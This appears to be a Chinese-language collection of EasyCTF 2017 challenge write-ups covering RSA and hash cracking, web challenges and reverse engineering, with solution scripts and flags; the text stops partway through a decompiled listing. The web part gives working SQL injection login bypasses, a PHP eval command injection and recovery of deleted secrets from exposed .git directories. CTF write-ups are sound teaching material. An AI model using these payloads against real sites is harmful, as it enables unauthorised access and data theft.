I was talking to one of my friends but I couldn't quite understand what he was saying. I think it might be important so here it is: Nwh whdjwh qm uepen, T tjb fsmt tixgi jsrsh sigm gs mpzp xwqf iahxpv iw fslkt. pehgpxf{qtextz_glacz_elt_neinrw_qsg_bums_dcp}

solution

维吉尼亚密码 解密

RSA2

problem

Some more RSA! This time, there's no P and Q... this .

solution

yafu - Automated integer factorization

yafu-x64.exe factor(266965481915457805187702917726550329693157)
...snip...
***factors found***
P21 = 458070420083487550883
P21 = 582804455845022449879
import libnum
n = 266965481915457805187702917726550329693157
p = 458070420083487550883
q = 582804455845022449879
e = 65537
c = 78670065603555615007383828728708393504251
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
print libnum.n2s(pow(c, d, n)) #flag{l0w_n_0eb6}

Decode Me

problem

Someone I met today told me that they had a perfect encryption method. To prove that there is no such thing, I want you to decrypt this encrypted flag he gave me.

solution

import base64
with open('encrypted_flag.txt') as file:
    data = file.read()
    while True:
        if 'easyctf' not in data:
            data = base64.b64decode(data)
        else:
            break
    print(data) # easyctf{what_1s_l0v3_bby_don7_hurt_m3}

Hash on Hash

problem

There's a lot of hex strings here. Maybe they're hiding a message? hexstrings

solution

import hashlib
md5 = {}
string = ''
for x in xrange(0, 256):
    char = chr(x)
    md5_obj = hashlib.md5()
    md5_obj.update(char)
    md5_str = md5_obj.hexdigest()
    md5[md5_str] = char
with open('hexstrings.txt') as file:
    while True:
        line = file.readline().replace('\n', '')
        if len(line) == 0:
            break
        string += md5[line]
print string # easyctf{1_h0p3_y0u_d1dn7_d0_7h47_by_h4nd}

RSA 3

problem

We came across another message that follows the same cryptographic schema as those other RSA messages. Take a look and see if you can crack it.

solution

λ yafu-x64.exe factor(1172115235823606152023154654763747932660073385647694278339165126116107393252225152886841069176950866458540922555424233427042989493814327572078420 5110462278896087432260439082955593874915727686637956899)
fac: factoring 11721152358236061520231546547637479326600733856476942783391651261161073932522251528868410691769508664585409225554242334270429894938143275720784205110462278896087432260439082955593874915727686637956899
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.3556 seconds
***factors found***
P100 = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871
P100 = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869
ans = 1
import libnum
n = 11721152358236061520231546547637479326600733856476942783391651261161073932522251528868410691769508664585409225554242334270429894938143275720784205110462278896087432260439082955593874915727686637956899
p = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871
q = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869
e = 65537
c = 2907995727224121244474109148869412603986746589983095760953378907471772983106265015352351411281256847387789301815094608746590512178894738862276459859204020010443067567963450732279228357933677075986407
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
print libnum.n2s(pow(c, d, n)) # easyctf{tw0_v3ry_merrry_tw1n_pr1m35!!_417c0d}

推荐文章: CTF中RSA的常见攻击方法

Diffie-cult

problem

I just intercepted some odd messages.txt . It appears to be a Diffie-hellman protocol, but my math isn't good enough to figure out what the final shared key is. Help! (The answer is a number. There is no easyctf{}) Hint: Wikipedia explains Diffie-hellman pretty well.

solution

g^a mod p = 421049228295820
g^b mod p = 105262307073955
p = 442101689710611

如果不知道Diffie-Hellman密钥交换算法可以先看:

Diffie-Hellman密钥交换算法

Diffie-Hellman密钥交换算法及其优化

题目的意思大概就是想让我们求出密钥K,Diffie-Hellman密钥交换算法的有效性依赖于计算离散对数的难度( 知乎-离散对数为什么是难题? ),这里p较小且这题给的g^a mod p和g^b mod p以及p都比较巧(g^a mod p即使A发送给B的值,而g^b mod p是B发送给A的值),为什么比较巧呢,我们在 素数库 找到他们的标准分解式。

g^a mod p = 421049228295820 = 2^2 · 5 · 17 · 19^3 · 37 · 47^4 
g^b mod p = 105262307073955 = 5 · 17 · 19^3 · 37 · 47^4
p = 442101689710611 = 3 · 7 · 17 · 19^3 · 37 · 47^4

现在令n = 17 · 19^3 · 37 · 47^4,那么就有:

g^a mod 21n = 20n
g^b mod 21n = 5n

我们把g^a mod 21n = 20n化简一下即:g^a mod 21n = -n,因为有20n mod 21n = -n,至于原理可以看一下密码学基础。

根据Diffie-Hellman密钥交换协议:

我们求的密钥K等于:K = ((g ^ a)mod p)^b mod p

也就是:K = ((g ^ a)mod 21n)^b mod 21n,而前面已求过g^a mod 21n = -n,所以K = (-n)^b mod 21n,现在只有b的值不知道,不过我们可以以b自变量的值为变量研究因变量K的变化情况:

n = 17 * (19 ** 3) * 37 * (47 ** 4)
p = 21 * n
for b in xrange(1,10):
    k = (-n) ** b % p
    print('k = (-n)^%d mod p = %d' %(b, k))
K = (-n)^b mod 21n
k = (-n)^1 mod p = 421049228295820
k = (-n)^2 mod p = 42104922829582
k = (-n)^3 mod p = 357891844051447
k = (-n)^4 mod p = 168419691318328
k = (-n)^5 mod p = 105262307073955
k = (-n)^6 mod p = 231577075562701
k = (-n)^7 mod p = 421049228295820
k = (-n)^8 mod p = 42104922829582
k = (-n)^9 mod p = 357891844051447

可以看到当b = 7又开始循环,所以K的可能值有6个,最后提交验证K为421049228295820。

Security Through Obscurity

problem

I've never seen such a cryptosystem before! It looks like a public key cryptosystem, though... Could you help me crack it?

encrypt.sage publickey and ciphertext.txt

solution

SageMath 是一个基于GPL协议的开源数学软件。它使用Python作为通用接口,将现有的许多开源软件包整合在一起,构建一个统一的计算平台。 我们的目标:创建一个有活力的自由开源软件以替代Magma,Maple,Mathematica和Matlab。

中文版的SageMath入门手册

sage代码在线运行

信息安全数学基础-有限域

nth root algorithm

encrypt.sage:

p = 196732205348849427366498732223276547339
primelist = [2,3,5,7,11,13,17,19,23,29,31,37,43,47,53,59]
secret = REDACTED
def calc_root(num, mod, n):
    f = GF(mod)
    temp = f(num)
    return temp.nth_root(n)
def gen_v_list(primelist, p, secret):
    a = []
    for prime in primelist:
        a.append(calc_root(prime, p, secret))
    return a
def decodeInt(i, primelist):
    pl = sorted(primelist)[::-1]
    out = ''
    for j in pl:
        if i%j == 0:
            out += '1'
        else:
            out += '0'
    return out
def bin2asc(b):
    return hex(int(b,2)).replace('0x','').decode('hex')
message = REDACTED
chunks = []
for i in range(0,len(message),2):
    chunks += [message[i:i+2]]
vlist = gen_v_list(primelist,p,secret)
print(vlist)
for chunk in chunks:
    binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1] #lsb first
    enc = 1
    for bit in range(len(binarized)):
        enc *= vlist[bit]**int(binarized[bit])
    enc = enc%p
    print(enc)

publickey and ciphertext.txt:

p = 196732205348849427366498732223276547339
vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]
ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]

大致看一下程序,理一下代码逻辑,message就是我们要求的明文,然后被分成每2个字符为一组添加到chunks列表:

message = REDACTED
chunks = []
for i in range(0,len(message),2):
    chunks += [message[i:i+2]]

vlist已经给了,所以不用再去求secret,接下来就是每2个字符简单的二值化处理再倒序,之后就是16次循环加密处理。

vlist = gen_v_list(primelist,p,secret)
print(vlist)
for chunk in chunks:
    binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1] #lsb first
    enc = 1
    for bit in range(len(binarized)):
        enc *= vlist[bit]**int(binarized[bit])
    enc = enc%p
    print(enc)

加密结果已经给了,一共28组,所以能推出明文长度为56,我们知道ASCII字符的范围0-255,再从上面的加密代码分析可知,chunk最多就只有256*256=65536种组合,再做16次循环加密处理,也就是说最多1048576(256*256*16)次就能把一组明文穷举出来,计算机对1048576这个次数简直毫无压力,所以上代码:

p = 196732205348849427366498732223276547339
vlist = [186290890175539004453897585557650819247, 75402298316736094226532182518108134406, 125495142022496378270547998225256386407, 97774267687164931514953833940936099082, 101991197227908059637463567354647370660, 153833851791059142883915934225837717549, 57404874013093467650483424580890463792, 21385179362692238453302681296928238570, 73119997627509808412069264512026243174, 187307466063352771786747395191866088255, 99696708971915885525739992181010504930, 35400960589917132410614021764179554582, 165004028169785856134522269878963539096, 23921651712221317415895203722083962980, 101282552285744196401422074083408273639, 36527324251768098978171373433957274016]
ciphertext = [10804437392992369932709952388461430442, 176193785024128365464527424154073333243, 149270645998191619421663334736314262928, 84083279828403258970202482839973583723, 105542809657403162156368566034837560781, 170535468317794277192003839288646533914, 1709561989051017137832962458645802494, 30208132812353075834728747743616689590, 179552149608863037880916374596103803214, 146319871444551859531557724256502213689, 94266034977624098660397183255753485858, 59624105602644297614582310044425417646, 150207980679551836987813576795479579005, 47189940152625174480564945084004798024, 60923399917552243674613186036841652885, 56060552313063913798237738953734149992, 153365453785043472981157196787373992079, 97439800863356756323659264743487719966, 105572255903480949865247928773026019148, 47189940152625174480564945084004798024, 32547907449246015626932936731350157592, 97471053149217334376536988401195572824, 156999991149661497460742185971412527182, 97705058765750947378422286408948780428, 56123764944636237849915747435965967337, 180380146745295930385428990214293723238, 178014626944341285289827069179285260436, 99504741454750536629756505680249931430]
plaintext = ''
for i in ciphertext:
    find = False
    for j in xrange(256):
        if find:
            break
        for k in xrange(256):
            chunk = chr(j) + chr(k)
            binarized = bin(int(chunk.encode('hex'),16)).replace('0b','').zfill(16)[::-1]
            enc = 1
            for bit in range(len(binarized)):
                enc *= vlist[bit]**int(binarized[bit])
            enc = enc%p
            if enc == i:
                find = True
                plaintext += chunk
                break
print(plaintext) 
flag{i_actu4lly_d0nt_know_th3_name_of_th15_crypt0sy5tem} 
used time:18.040904s

Listen Closely

problem

We intercepted a secret message, but we can't tell what it's saying. Maybe you can help? super secret message hint: 1, 16, 8000. After you use those, the problem is strictly crypto.

solution

writeup

Genius

problem

Your boss told you that this team has come up with the cryptographic hash of the future, but something about their operation just seems a little fishy.

solution

8a7fca9234d2f19c8abfcd812971a26c8c510dcaefd5061b191ad41d8b57d0ce631f5074f94b32730d0c025f1d7aacd7
be1ab1632e4285edc3733b142935c60b90383bad42309f7f6850d2b4250a713d0b2d7a97350465a02554d29d92bfefaf
d64ddd0de1b187cd670783f5e28d681dd401ed3009d05ce4ef600d364a2c953e4cc801b880dddef59829a5ad08bd8a63
73d559bc117f816333174e918d0587de5cca214701dbe9f7f42da7bccf074b811292b9d4dc398866ef95869b22b3941e
78635bc95eaa7662a2ddf3e3d45cf1084f4233d6c396e8a0e6fbf597d07b88178d03f3f7757bdbdaaed60729d08bb180
b42dad5453b2128a32f6612b13ea5d9fef843bee79633652a6d6ae08e964609f00e883ab809346226dff6887080fb68b

给了6组哈希值,每组96个字符,还提示到了MD5,于是丢 crackstation 跑一下:

简单验证一下:

md5(like) = be1ab1632e4285edc3733b142935c60b
md5(ly_s) = d64ddd0de1b187cd670783f5e28d681d
md5(ng_2) = 73d559bc117f816333174e918d0587de
md5(have) = b42dad5453b2128a32f6612b13ea5d9f

推测每组就是三个MD5组合的,于是将所有的MD5换行拆分再进行一次查找:

还有7个没有破解,从上面的都是4位简单的消息,于是把未找出的7个扔 MD5库

按顺序组合一下:

OMG_it_took_like_LITerally_s0oO00_long_2_MAK3_md5_werrk_you_have_no_id34 

提交给了flag:

easyctf{OUR_3nCRYpti0n_is_N0T_br0k3n_Ur_brok3n_6c5a390d}

py优雅解决方式:

import hashlib
hashs = '8a7fca9234d2f19c8abfcd812971a26c8c510dcaefd5061b191ad41d8b57d0ce631f5074f94b32730d0c025f1d7aacd7be1ab1632e4285edc3733b142935c60b90383bad42309f7f6850d2b4250a713d0b2d7a97350465a02554d29d92bfefafd64ddd0de1b187cd670783f5e28d681dd401ed3009d05ce4ef600d364a2c953e4cc801b880dddef59829a5ad08bd8a6373d559bc117f816333174e918d0587de5cca214701dbe9f7f42da7bccf074b811292b9d4dc398866ef95869b22b3941e78635bc95eaa7662a2ddf3e3d45cf1084f4233d6c396e8a0e6fbf597d07b88178d03f3f7757bdbdaaed60729d08bb180b42dad5453b2128a32f6612b13ea5d9fef843bee79633652a6d6ae08e964609f00e883ab809346226dff6887080fb68b'
def get_md5_list(hashs):
    md5_list = []
    for x in xrange(0, len(hashs), 32):
        md5_list.append(hashs[x:x+32])
    return md5_list
def gen_char_list():
    char_list = []
    for x in xrange(48, 58): # 0 ~ 9
        char_list.append(chr(x))
    for x in xrange(65, 91): # A ~ Z
        char_list.append(chr(x))
    for x in xrange(97, 123): # a ~ z
        char_list.append(chr(x))
    char_list.append('_') # _
    return char_list
def brute_force_md5(char_list, md5_list):
    plain_dict = {}
    for c1 in char_list:
        for c2 in char_list:
            for c3 in char_list:
                for c4 in char_list:
                    chars = c1 + c2 + c3 + c4
                    md5_obj = hashlib.md5()
                    md5_obj.update(chars)
                    md5_str = md5_obj.hexdigest()
                    if md5_str in md5_list:
                        plain_dict[md5_str] = chars
    return plain_dict
def get_plain(md5_list, plain_dict):
    plain = ''
    for md5 in md5_list:
        plain += plain_dict[md5]
    return plain
def main():
    md5_list = get_md5_list(hashs)
    char_list = gen_char_list()
    plain_dict = brute_force_md5(char_list, md5_list)
    plain = get_plain(md5_list, plain_dict)
    print(plain)
if __name__ == '__main__':
    main()

RSA 4

problem

After doing so much RSA, I finally messed up.... pls help. I encrypted my secret message but the decryption isn't working!!

solution

writeup

Premium RSA

problem

My RSA is the greatest. It's so strong, in fact, that I'll even give you d! file

hint: You thought it'd be that simple?

solution

writeup

Paillier Service

problem

My friend made some sort of encryption service using the Paillier cryptosystem. Can you get him to encrypt the string easyctf{3ncrypt_m3!} for me? Your flag will be a base 10 integer.

Access his encryption service at paillier.tcp.easyctf.com 8570

solution

writeup

# Paillier.py
import binascii
#Gathered from connecting manually
# m = 1, r = 1
g = 76148136246979412868353192826161253341403849263254887278017187958514513340458179944731332795505616407225022188597713956679924138156737337560391522285190471306102238935856085554943425316921717217530405444795878376547349107664015741971592178799088766898531556269231518219697725522509132047243753064371633643298
# m = 2, r = 1
g2 = 152296272493958825736706385652322506682807698526509774556034375917029026680916359889462665591011232814450044377195427913359848276313474675120783044570380942612204477871712171109886850633843434435060810889591756753094698215328031483943184357598177533797063112538463036439395451045018264094487506128743267286595
expectedG2 = g*g
#Using Factordb, we find that expectedG2-g2 is a perfect square of a prime, which is below
#http://factordb.com/index.php?id=1100000000882961502
n = 76148136246979412868353192826161253341403849263254887278017187958514513340458179944731332795505616407225022188597713956679924138156737337560391522285190471306102238935856085554943425316921717217530405444795878376547349107664015741971592178799088766898531556269231518219697725522509132047243753064371633643297
n2 = n*n
m2r2 = 642704871773304452155778596282877892451871980828477596157415930594972102473171707034871466334408214634990379265334519095544245651795310239071984348465353456082430791507322024283077057140015173791209040404351064470318177893091562745760770981747716308255111472933684059218100124906239297276402113587510274467857526915676715307055889593001002210535184406398178516901311847346979934161946287183599368736554797730366291587740218078384204696550286009123986874335424671114430592617561047352470044247529967986001239137580719442869043114141323570567593427242451750466586033713111304296116982128148631354597378733690535403149
#check for no errors
assert (pow(g,2,n2)*pow(2,n,n2))%n2 == m2r2
assert (pow(g,2,n2))%n2 == g2
# get int of string easyctf{3ncrypt_m3!}
goal = b'easyctf{3ncrypt_m3!}'
hexGoal = str(binascii.hexlify(goal),'utf-8')
goal = int(hexGoal,16)
#print(goal)
#goal is divisible by 5, so use that for Homomorphic property
m5r1 = pow(g,5,n2)
goalDiv5 = goal // 5
# Now use the Homomorphic property :)
flagInt = pow(m5r1,goalDiv5,n2)
print(flagInt)

0x05 Web

Cookie Blog

problem

I found the cookie monster's blog !

solution

TinyEval

problem

This page will evaluate anything you give it.

solution

首先想到可能是php的eval()函数,于是随手输入echo("hello world"),提示字符太长,最后经过测试最多能输入11个字符。 这里用到一个php的技巧

root@kali:~# cat 1.php 
eval("echo`ls`;");
root@kali:~# php 1.php 
1.php
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos

于是输入echo`ls`:

看到了flag文件了,但是文件名很长,除了echo``,就只能再输入5个字符,所以要找到一个巧妙的方法,多次尝试找到方法:

echo`cat *`

刚好11个字符,获得flag:


Edge 1

problem

We found Edge inc's website! Take a look at it here .

solution

官方提醒说不能使用扫描器,要不然会被BAN,但是搞了一通之后没有什么收获,提醒说不能使用扫描器于是猜测是不是跟源码泄露有关,就手动测试一下:

index.php~
index.php.vim
index.php.swp
index.php.swn
index.php.swo
index.php.old
index.php.txt
index.php.bak
index.php.zip
index.php.rar
/.svn
/.git

测试到/.git终于出现惊喜:


rip-git

root@kali:~# rip-git -v -u http://edge1.web.easyctf.com/.git/
root@kali:~/.git# git log
commit ee9061b25d8a35bae8380339f187b44dc26f4999
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:11:47 2017 +0000
    Whoops! Remove flag.
commit afdf86202dc8a3c3d671f2106d5cffa593f2b320
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:11:45 2017 +0000
    Initial.
commit 15ca375e54f056a576905b41a417b413c57df6eb
Author: Fernando <fermayo@gmail.com>
Date:   Sat Dec 14 12:50:09 2013 -0300
    initial version
commit 8ac4f76df2ce8db696d75f5f146f4047a315af22
Author: Fernando Mayo <fermayo@gmail.com>
Date:   Sat Dec 14 07:36:18 2013 -0800
    Initial commit

回滚到删掉flag之前:

root@kali:~/.git# git reset –hard afdf86202dc8a3c3d671f2106d5cffa593f2b320

根目录出现了flag.txt:

root@kali:~/.git# cat flag.txt
easyctf{w3_ev3n_u53_git}

推荐文章: 关于WEB敏感文件探测的一点思考

Edge 2

problem

Last time we screwed up. But we've learned our lesson .

solution

再次访问/.git,结果:

虽然被禁止列目录,但是那些文件依然存在,再次尝试使用rip-git,结果还是下载下来了,接下来就跟Edge 1一样的做法了:

root@kali:~# rip-git -v -u http://edge2.web.easyctf.com/.git/
root@kali:~/.git# git log
commit a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:32:12 2017 +0000
    Prevent directory listing.
commit 6b4131bb3b84e9446218359414d636bda782d097
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:32:10 2017 +0000
    Whoops! Remove flag.
commit 26e35470d38c4d6815bc4426a862d5399f04865c
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:32:09 2017 +0000
    Initial.
commit 15ca375e54f056a576905b41a417b413c57df6eb
Author: Fernando <fermayo@gmail.com>
Date:   Sat Dec 14 12:50:09 2013 -0300
    initial version

同样回到删掉flag之前:

root@kali:~/.git# git reset –hard 26e35470d38c4d6815bc4426a862d5399f04865c
root@kali:~/.git# cat flag.txt
easyctf{hiding_the_problem_doesn't_mean_it's_gone!}

SQL Injection 1

problem

I need help logging into this website to get my flag! If it helps, my username is admin. Running sqlmap or the likes will earn you an IP ban.

hint: What does "injection" mean? How can you "inject" code into your username to control the username lookup?

solution

查看网页源代码,估计SQL语句是这样的:

select * from users where username="admin" and password=""

于是任意构造:

" or "1"="1
select * from users where username="admin" and password="" or "1"="1"

flag:

easyctf{a_prepared_statement_a_day_keeps_the_d0ctor_away!}

SQL Injection 2

problem

I've told my friend a billion times that the user called leet1337 doesn't exist on this website , but he won't listen. Could you please login as this user, even though it doesn't exist in the database? Oh and also, make sure that the user has a power level over 9000!!!! Running sqlmap or the likes will earn you an IP ban.

hint: The columns in the table are (not in order) username, password, power_level, and a unique id.

solution

根据提示估计SQL语句是这样的:

select username, password, power_level, id from table where username="" and password=""

多次尝试使用union查询,#号截断:

" union select "leet1337", "leet1337", "leet1337", "9999"#
select username, password, power_level, id from table where username="" and password="" union select "leet1337", "leet1337", "leet1337", "9999"#"

Blogbox

problem

I found another blog ! Do you think you can find a flag on it?

Hint: Use the search bar to see all the public posts! (And only the public posts!)

solution

根据提示进行搜索,但是不论输入什么都得不到想要得结果,搜索时GET请求类似这样:

blogbox.web.easyctf.com

后来看提示我们只能看到公开的(public)文章,于是想到搜索有可能还可以传入public这个参数: 最终: blogbox.web.easyctf.com

Web tunnel

problem

I was just going to search some random cat videos on a Saturday morning when my friend came up to me and told me to reach the end of this tunnel . Can you do it for me?

Hint: You should write a script for this. The tunnel goes on too deep for any normal human.

solution

打开网站,得到一张二维码,扫描之后得到的字符串又做为下一个二维码图片的路径,就这样循环,那么上脚本:

import requests
QR_api = 'https://api.qrserver.com/v1/read-qr-code/'
QR_name ='DaicO7460493nYSuvLPW'
while True:
    if 'easyctf' not in QR_name:
        QR_url = 'http://tunnel.web.easyctf.com/images/' + QR_name + '.png'
        r = requests.get(url = QR_api, params = {'fileurl' : QR_url})
        QR_name = r.json()[0]["symbol"][0]["data"]
    else:
        break
print(QR_name) # easyctf{y0u_sh0uld_b3_t1r3d_tr4v3ll1ng_all_th1s_w4y}

0x06 Reverse Engineering

Hexable

problem

I tried to hide a flag sneakily, can you find it? Download

solution

Phunky Python I

problem

The other day we happened upon a dusty old laptop covered in duct tape and surrounded by several papers with notes scrawled all over them. Upon inspection, we found that the laptop contained several python files labeled phunky.

We've determined that each of the files contains a mini reversing challenge. The first task is simple: Find the value of x such that the program prints out easyctf (make sure it's lowercase!).

phunky1.py

solution

x = 9758391023608105872L - 102
digs = [9758391023608105871L, 9758391023608105867L, 9758391023608105885L, 9758391023608105891L, 9758391023608105869L, 9758391023608105886L, 9758391023608105872L]
out = ""
for letter in reversed(digs):
    out = chr(letter - x) + out
print out + '{' + str(x) + '}'

flag:easyctf{9758391023608105770}

Useless Python

problem

Boredom took over, so I wrote this python file! I didn't want anyone to see it though because it doesn't actually run, so I used the coolest base-16 encoding to keep it secret. python

solution

参考Pcat表哥解法:

s=open('useless.py').read()
s=s.decode('hex')
while True:
    if 'exec(' in s:
        s = eval(s[5:-1])
    else:
        break
print s

输出:

flag = 'easyctf{python_3x3c_exec_3xec_ex3c}'
priint flag

Phunky Python II

problem

We stumbled across another phunky Python file. Can you find the redacted value of jkx that makes this program print True?

solution

题目:

import operator
jkx = 0 # REDACTED
pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])
jkx *= pork
pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))
print b == 6548044661510965675361835669609097497614277988316628335954865908614987464656662774230164176397886049495203497380194320473112237121935351588106637391652296924206523967496334906449626062538176842451446687574581963609515235677360001918335627990557065870263618484501558703622228018822062325974112864876000000

第3行简化一下:

pork = ((12*jkx+44)/4)-(1234/617)*jkx-sum([1, 4, 7])
pork = (3*jkx+11)-(1234/617)*jkx-12
pork = 3*jkx+11-2*jkx-12
pork = jkx - 1

结合第四行再次简化:

jkx = jkx*(jkx-1)

第五行:

pp = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))

是生成小于10000的所有质数列表:

第六行:

b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))

即:

b = 1
for i in range(len(str(jkx))):
    b = b * (pp[i] ** int(str(jkx)[i])

比如我们输入jkx值为123,那么就会计算b = ( 2 ^ 1) * ( 3 ^ 2) * ( 5 ^ 3)

参考ValarDragon表哥的解法

import numpy as np
import math
#First step:
#Factor the number
endnum = 1165547315017833928671818221519514360217364769512850694972634276966608764777139685632107196533251916113636826873618982702626918260245806732321339626796631711528838400321866758812099562803500967678699400226626798016068690575469938736199168207523212687169370000
primes = filter(lambda g: not any(g % u == 0 for u in range(2, g)), range(2, 10000))
exps = []
#get prime factorization
for i in primes:
    k = 0
    while(endnum % i == 0):
        k+=1
        endnum /= i
    exps.append(k)
    if(endnum == 1):
        break
print("exponents = %s" %exps)
#Factorization obtained
def floorSqrt(n):
    x = n
    y = (x + 1) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x
jkx2 = ""
for k in exps:
    jkx2 += str(k)
jkx2 = int(jkx2)
while(True):
    breakEarly = False
    try:
        jkxapprox = floorSqrt(jkx2)
        assert jkx2 == jkxapprox*(jkxapprox+1)
        print("jkx2 = %s" % jkx2)
        print("jkx  = %s" % (jkxapprox+1))
        breakEarly = True
        break
    except AssertionError:
    if(breakEarly):
        break
    jkx2 *= 10

Lucky Guess

problem

Would you like to play a guessing game ?

solution

int __cdecl main(int argc, const char **argv, const char **envp)
  unsigned int v3; // eax@1
  const char *v5; // rax@8
  __int64 v6; // rax@10
  int v7; // eax@11
  __int64 v8; // rax@12
  int v9; // [sp+0h] [bp-A0h]@1
  int v10; // [sp+4h] [bp-9Ch]@1
  int i; // [sp+8h] [bp-98h]@3
  int v12; // [sp+Ch] [bp-94h]@1
  int v13[36]; // [sp+10h] [bp-90h]@1
  primp();
  qmemcpy(v13, "g", 0x88uLL);
  v3 = time(0LL);
  srand(v3);
  v12 = rand() % 0x4000000;
  v10 = 0;
  v9 = 0;
  while ( 1 )
    v7 = v10++;
    if ( v7 > 22 )
      LODWORD(v8) = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"no dice.");
      std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
      return 0;
    std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Guess? ");
    std::istream::operator>>(&std::cin, &v9);
    if ( v9 == v12 )
      break;
    if ( v9 >= v12 )
      v5 = "hi";
      v5 = "lo";
    LODWORD(v6) = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)v5);
    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  for ( i = 0; (unsigned __int64)i < 0x22; ++i )
    std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)(char)(v13[i] ^ c610[4 * i]));
  return 1;

让if ( v9 == v12 ) break;执行成功跳出while循环,进入for循环得到flag,最简单的方式就是修改jnz指令为nop指令:

Hex QR

problem

I've stumbled upon a very strange QR code ... seems like it was generated with this generator. What could it mean?

solution

writeup

67k

problem

Here are 67k binaries, well more accurately 67,139 binaries. Solve every single one, append the results together in order (shouldn't be too difficult as the binaries are numbered) and then from there I'm sure you can figure it out.

Hint: Maybe write a script.

solution

writeup

#!/usr/bin/env python
import r2pipe
import json
import sys
import time
import os
# shift arithmetic right copied from http://stackoverflow.com/a/5833119
def rshift(val, n): 
    return val>>n if val >= 0 else (val+0x100000000)>>n
if __name__ == "__main__":
    r2p = r2pipe.open(sys.argv[1])
    r2p.cmd("aaa")
    # get the name of the function that does the operation
    t = r2p.cmd("aflj")
    d = json.loads(t)
    fc_name = d[0]["name"]
    if fc_name == "entry0":
        fc_name = d[1]["name"]
    # determine if sub, add, or xor is used
    t = r2p.cmd("pdj 1@%s" %( fc_name))
    d = json.loads(t)
    ins = d[0]["opcode"]
    # get the value of EAX
    t = r2p.cmd("pdj 1@entry0+0x1f")
    d = json.loads(t)
    pointer = d[0]["esil"].split(",")[0]
    pointer = int(pointer, 16)
    t = r2p.cmd("pxrj 4@%d" % (pointer,))
    d = json.loads(t)
    eax = d[0]["value"]
    # get the value of ECX
    t = r2p.cmd("pdj 1@entry0+0x24")
    d = json.loads(t)
    ecx = d[0]["opcode"].split()[-1]
    ecx = int(ecx, 16)
    # determine the operation used by do_foo()
    answer = 0
    if "sub" in ins:
        answer = eax - ecx
    elif "xor" in ins:
        answer = eax ^ ecx
    elif "add" in ins:
        answer = eax + ecx
    # get value to use for SAR operation
    t = r2p.cmd("pdj 1@entry0+0x36")
    d = json.loads(t)
    pointer = d[0]["esil"].split(",")[0]
    pointer = int(pointer, 16)
    t = r2p.cmd("pxrj 4@%d" % (pointer,))
    t = t.replace("\\x", "")
    d = json.loads(t)
    val = d[0]["value"]
    cl = val & 0xFF
    # get the solution to the challenge
    solve = rshift(answer, cl)
    solve = solve & 0xff
    sys.stdout.write("%c" % (solve,))

Heaps of Knowledge

problem

Can you pwn this? Navigate to /problems/heaps_of_knowledge/ on the shell server and read flag.txt.

Binary

solution

writeup

Morphin

problem

Welcome to the RE training course, this problem has 4 phases. Solve all four to get the flag.

Note: On phase 1 round to 6 significant figures.

Download

solution

writeup

0x07 Binary Exploitation

Risky Business

problem

We wanted to branch into the casino business, but human employees are too expensive so we decided to automate it. I feel like we missed something obvious though... Oh well! Here's the binary: casino

Solve this problem by logging into the shell server and navigating to

 /problems/casino

.

solution

int __cdecl main(int argc, const char **argv, const char **envp)
  __int64 v3; // rax@1
  __int64 v4; // rdx@1
  __int64 v5; // rax@1
  int v6; // ebx@2
  __int64 v7; // rdx@2
  __int64 v8; // rax@2
  __int64 v9; // rax@2
  __int64 v10; // rdi@2
  __int64 v11; // rdx@2
  __int64 v13; // rax@4
  int v14; // eax@4
  __int64 v15; // rdx@4
  bool v16; // al@6
  __int64 v17; // rax@11
